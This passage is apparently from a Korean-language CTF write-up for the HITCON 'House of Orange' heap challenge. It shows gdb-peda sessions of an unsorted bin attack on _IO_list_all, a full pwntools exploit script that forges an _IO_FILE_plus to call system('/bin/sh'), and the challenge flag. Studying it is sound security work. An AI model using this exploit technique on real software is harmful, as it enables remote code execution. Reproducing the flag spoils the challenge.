+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : ^C
Program received signal SIGINT, Interrupt.
gdb-peda$ b *0x555555554000 + 0x1119
Breakpoint 5 at 0x555555555119
gdb-peda$ c
3
Length of name :2048
Name:
Breakpoint 5, 0x0000555555555119 in ?? ()
gdb-peda$ i r rdi
rdi            0x5555557580d0	0x5555557580d0
gdb-peda$ p main_arena.bins[0]
$8 = (mchunkptr) 0x5555557584f0
gdb-peda$ p main_arena.bins[1]
$9 = (mchunkptr) 0x5555557584f0
gdb-peda$ p/d 0x5555557584f0 - 0x5555557580d0
$10 = 1056
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0:	0x00000023000001f4	0x0000000000000000
0x5555557584f0:	0x0000000000000000	0x0000000000000af1
0x555555758500:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x555555758510:	0x0000000000000000	0x0000000000000000
gdb-peda$ c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0:	0x4141414141414141	0x4141414141414141
0x5555557584f0:	0x4242424242424242	0x4242424242424242
0x555555758500:	0x4242424242424242	0x4242424242424242
0x555555758510:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 입력값을 이용해 아래와 같이 영역의 값을 변경합니다.
    • freechunk→prev_size = "/bin/sh"
    • freechunk→size = 0x61
    • freechunk→fd = "임의의 값"
    • freechunk→bk = "_IO_list_all" 주소 - 0x10
Set the Fake chunk
Breakpoint 4, 0x000055555555511e in ?? ()
gdb-peda$ set *0x5555557584f0 = 0x6E69622F
gdb-peda$ set *0x5555557584f4 = 0x0068732F
gdb-peda$ set *0x5555557584f8 = 0x61
gdb-peda$ set *0x5555557584fc = 0x0

gdb-peda$ p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
gdb-peda$ p/x 0x7ffff7dd2520 - 0x10
$2 = 0x7ffff7dd2510
gdb-peda$ x/4gx 0x7ffff7dd2510
0x7ffff7dd2510:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>:	0x00007ffff7dd2540	0x0000000000000000
gdb-peda$ set *0x555555758508 = 0xf7dd2510
gdb-peda$ set *0x55555575850c = 0x7fff
gdb-peda$ set *0x555555758500 = 0xAAAA
gdb-peda$ set *0x555555758504 = 0x0
gdb-peda$ x/8gx 0x5555557580d0 + 1040
0x5555557584e0:	0x4141414141414141	0x4141414141414141
0x5555557584f0:	0x0068732f6e69622f	0x0000000000000061
0x555555758500:	0x000000000000aaaa	0x00007ffff7dd2510
0x555555758510:	0x000000000000000a	0x0000000000000000
gdb-peda$ 
  • 다음과 같이 "Build the house" 기능을 실행 하면 변경된 Unsorted chunk 에 의해 "_IO_list_all"의 값이 변경됩니다. (Unsorted bin attack)
    • "_IO_list_all"에 저장된 값은 main_arena.top 영역의 주소 값 입니다.
    • 에러가 출력되지만 해당 취약성을 이용해 충분히 shell을 획득할 수 있습니다.
Unsorted bin attack
gdb-peda$ c
Continuing.
Price of Orange: 700
+++++++++++++++++++++++++++++++++++++
 1. Red            
 2. Green            
 3. Yellow            
 4. Blue            
 5. Purple            
 6. Cyan            
 7. White            
+++++++++++++++++++++++++++++++++++++
Color of Orange: 7
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house                  
 2. See the house                    
 3. Upgrade the house                
 4. Give up                          
+++++++++++++++++++++++++++++++++++++
Your choice : 1
*** Error in `/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange': malloc(): memory corruption: 0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184]
/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0xd6d)[0x555555554d6d]
/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0x1402)[0x555555555402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830]
/home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange(+0xb19)[0x555555554b19]
======= Memory map: ========
555555554000-555555557000 r-xp 00000000 08:01 139888                     /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange
555555756000-555555757000 r--p 00002000 08:01 139888                     /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange
555555757000-555555758000 rw-p 00003000 08:01 139888                     /home/lazenca0x0/CTF/HITCON/houseoforange/houseoforange
555555758000-55555579b000 rw-p 00000000 00:00 0                          [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589                     /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0 
7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548                     /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Program received signal SIGABRT, Aborted.
Stopped reason: SIGABRT
0x00007ffff7a42428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
gdb-peda$ x/4gx 0x7ffff7dd2510
0x7ffff7dd2510:	0x0000000000000000	0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>:	0x00007ffff7dd1b78	0x0000000000000000
gdb-peda$ p &main_arena.top
$14 = (mchunkptr *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ 
gdb-peda$ x/gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:	0x000055555577a010
gdb-peda$ 
  • HouseOfOrange에 대한 자세한 설명은 아래 페이지를 참조하세요

Exploit Code

Exploit.py
from pwn import *

p = process('./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def Build(len,name):
    p.recvuntil('Your choice : ')
    p.sendline('1')
    p.recvuntil('Length of name :')
    p.sendline(str(len))
    p.recvuntil('Name :')
    p.sendline(name)
    p.recvuntil('Price of Orange:')
    p.sendline(str(100))
    p.recvuntil('Color of Orange:')
    p.sendline(str(1))

def See():
    p.recvuntil('Your choice : ')
    p.sendline('2')
    tmp = p.recvuntil('Price')
    data = (tmp.split('\n')[1]).ljust(8,'\x00')	
    return data

def Upgrade(len,name):
    p.recvuntil('Your choice : ')
    p.sendline('3')
    p.recvuntil('Length of name :')
    p.sendline(str(len))
    p.recvuntil('Name:')
    p.sendline(name)
    p.recvuntil('Price of Orange:')
    p.sendline(str(200))
    p.recvuntil('Color of Orange:')
    p.sendline(str(2))

Build(128,'HEAP')

#Change top size
payload = 'A' * 144
payload += p32(0xDEAD) + p32(0x20) + p64(0)
payload += p64(0) + p64(0xf31)
Upgrade(177,payload)

Build(4096,"HEAP")

#Leak Libc Address
Build(1024,"LEAKADD")
leakLibcAddr = u64(See())
libcAddrBase = leakLibcAddr - 0x3c5188
log.info('Leak Libc Addr : ' + hex(leakLibcAddr))
log.info('Leak Liba Addr Base : ' + hex(libcAddrBase))

#Leak Heap Address
Upgrade(1024,'B'*15)
leakHeapAddr = u64(See())
leakHeapAddr -= 0x130
log.info('Leak Heap Addr : ' + hex(leakHeapAddr))

#Payload Info
io_list_all = libcAddrBase + libc.symbols['_IO_list_all']
system = libcAddrBase + libc.symbols['system']
vtable = leakHeapAddr + 0x658
 
log.info('io_list_all : ' + hex(io_list_all))
log.info('system : ' + hex(system))
log.info('vtable : ' + hex(vtable))

payload = "C" * 1056

#Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
stream = "/bin/sh\x00" + p64(0x61)
stream += p64(0xddaa) + p64(io_list_all-0x10)
stream = stream.ljust(0xa0,"\x00")
stream += p64(leakHeapAddr+0x700-0xd0)
stream = stream.ljust(0xc0,"\x00")
stream += p64(1)

payload += stream
payload += p64(0)*2
payload += p64(vtable)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3
payload += p64(system)

Upgrade(2048,payload)

p.recvuntil(":")
p.sendline("1")
 
p.interactive()

Flag

Flag

hitcon{Y0ur_4r3_the_g0d_of_h34p_4nd_Or4ng3_is_s0_4ngry}

Related Site